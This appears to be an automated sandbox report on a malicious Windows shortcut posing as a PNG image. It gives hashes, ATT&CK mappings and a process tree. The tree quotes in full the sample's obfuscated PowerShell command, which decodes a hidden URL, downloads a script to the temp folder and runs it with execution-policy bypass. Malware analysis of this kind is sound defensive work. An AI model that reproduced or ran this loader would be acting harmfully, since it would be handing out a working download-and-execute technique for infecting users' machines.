67f6d6c021f6abab54fe3591fa1675d8524fae0dfa94e377e671fd4b295ac311

Analysis

max time kernel
149s
max time network
149s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
05/06/2026, 09:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
PHOTO-128914903.png.lnk
Size 2KB
Sample260605-lrfn6set3l
SHA256 67f6d6c021f6abab54fe3591fa1675d8524fae0dfa94e377e671fd4b295ac311
MD5 48b6d140f038874fa89333b7ed018bd6
SHA1 625cdb454461e7e82ba9b73028ddbdcbf0b5a7ab
SHA512 a5522537a7a94549beaddbe4430c7dbad2e5711da242c4f5ac9c4c786105ffff126fb43d12cc0aed5e2f553b0ec77f3975d32c19e07f4384f996ee812973d879
TLSH
T17741C21417E10329F7FB8B34D8FD7216A661B426DB219FEF02D006595274511E8A7F3E
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5296	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5296	powershell.exe
2700	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
5296	powershell.exe
5296	powershell.exe
2700	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5296	powershell.exe
Token: SeDebugPrivilege	2700	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4580 wrote to memory of 5296	4580	cmd.exe	81
PID 5296 wrote to memory of 2700	5296	powershell.exe	82

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\PHOTO-128914903.png.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:4580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -c "$fzvj1GJT=\"238401635463621579045842867307215558345\" -as [System.Numerics.BigInteger];$QCcFS=\"90263130781396643456752521096961732185\" -as [System.Numerics.BigInteger];$EFwrBjNP=$fzvj1GJT - $QCcFS;for($tCI1Xa=100+156;$EFwrBjNP -ne 0;$EFwrBjNP=$EFwrBjNP / $tCI1Xa){$cPZGw+=[char]([int]($EFwrBjNP % $tCI1Xa));};iwr $cPZGw -OutFile $env:TEMP\gwUwr8V.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\gwUwr8V.ps1"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5296
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -File C:\Users\Admin\AppData\Local\Temp\gwUwr8V.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2700

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 1KB
SHA256 5226da3506c85d2ed701bea411ebd415b99b848935a0ecd50ad7fb0fd913ba05
MD5 0e04c74727fbfaf6d31eb28de212bb60
SHA1 1829716a822437f478f6b0481084143a24944554
SHA512 f8ad65f30fdcb4d96f360d780fb411474fa1d7aaa146cb9382a5dbce23751291ba597e74826cfaf44f85b6a7db2525ad06c1378f5486b61e94f7f4b14c8053da
TLSH
T10231003133B5A0D889263F471D3C59C423BF4356B694AE4C7694625EC92740BAF322F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ea67d1c6e389367f9ecc0656bbdd3db1b39dbd65ea36be300ff4050feaffead1
MD5 e7999048206658c7b87813950597442a
SHA1 e7ae1dbfd4c9e9caeb9c331cc141f55d9c65295c
SHA512 759b09bd5ae269dcb5cc0326cd6ddbad8b6a71f599429d8a574f4e7e30d40b79c1788a3e4f0a5d78ecbd9646789b274df45fa208432cbdd5f088f3031d22056f
TLSH
T1C0218973B79CC1F5C8D5127A1088AD01B173C3C7009FDECB6A84C518D56F58ADA941A0
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_wrddpz0j.bb1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wrddpz0j.bb1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5296-2-0x00000213CB130000-0x00000213CB140000-memory.dmp

Download

memory/5296-3-0x00000213CB130000-0x00000213CB140000-memory.dmp

Download

memory/5296-4-0x00000213CD1E0000-0x00000213CD202000-memory.dmp

Download

memory/5296-11-0x00000213CB130000-0x00000213CB140000-memory.dmp

Download